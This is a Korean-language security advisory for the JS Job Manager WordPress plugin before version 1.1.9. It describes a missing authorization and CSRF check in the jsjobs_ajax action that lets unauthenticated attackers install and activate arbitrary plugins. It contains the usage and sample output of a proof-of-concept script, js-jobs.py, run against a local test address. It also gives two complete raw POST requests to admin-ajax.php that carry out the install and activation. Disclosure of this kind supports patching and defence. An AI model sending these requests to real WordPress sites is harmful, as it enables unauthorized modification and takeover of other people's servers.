
JS Job Manager < 1.1.9 - 인증되지 않은 임의 플러그인 설치/활성화
JS Job Manager < 1.1.9 - 인증되지 않은 임의 플러그인 설치/활성화
플러그인의 jsjobs_ajax AJAX 액션은 인증된 사용자와 인증되지 않은 사용자 모두에게 제공되며, 특히 installPluginFromAjax 및 activatePluginFromAjax를 사용할 때 적절한 권한 검사와 CSRF 검사가 없습니다. 이로 인해 인증되지 않은 공격자가 WordPress 저장소에서 임의의 플러그인을 설치하고 (일부 제한 사항이 있지만) 활성화할 수 있습니다.
플러그인 버전에 대한 제어 기능이 없으므로 플러그인의 최신 버전이 설치됩니다.
usage: js-jobs.py [-h] --url URL --slug SLUG
js-jobs.py: error: the following arguments are required: --url/-u, --slug/-s
$ python3 js-jobs.py --url http://192.168.1.131:5555 -s woocommerce
Plugin has been Downloaded.
Plugin has been downloaded and is on the server.
Plugin has been activated / activated.
플러그인을 설치하려면:
POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 90
Connection: close
action=jsjobs_ajax&task=installPluginFromAjax&jsjobsme=jsjobs&pluginslug=<slug>
플러그인을 활성화하려면 (여기에는 제한이 있습니다. 플러그인에 /.php 파일이 있어야 하며, 그렇지 않으면 활성화되지 않습니다):
POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 78
Connection: close
action=jsjobs_ajax&task=activatePluginFromAjax&jsjobsme=jsjobs&pluginslug=<slug>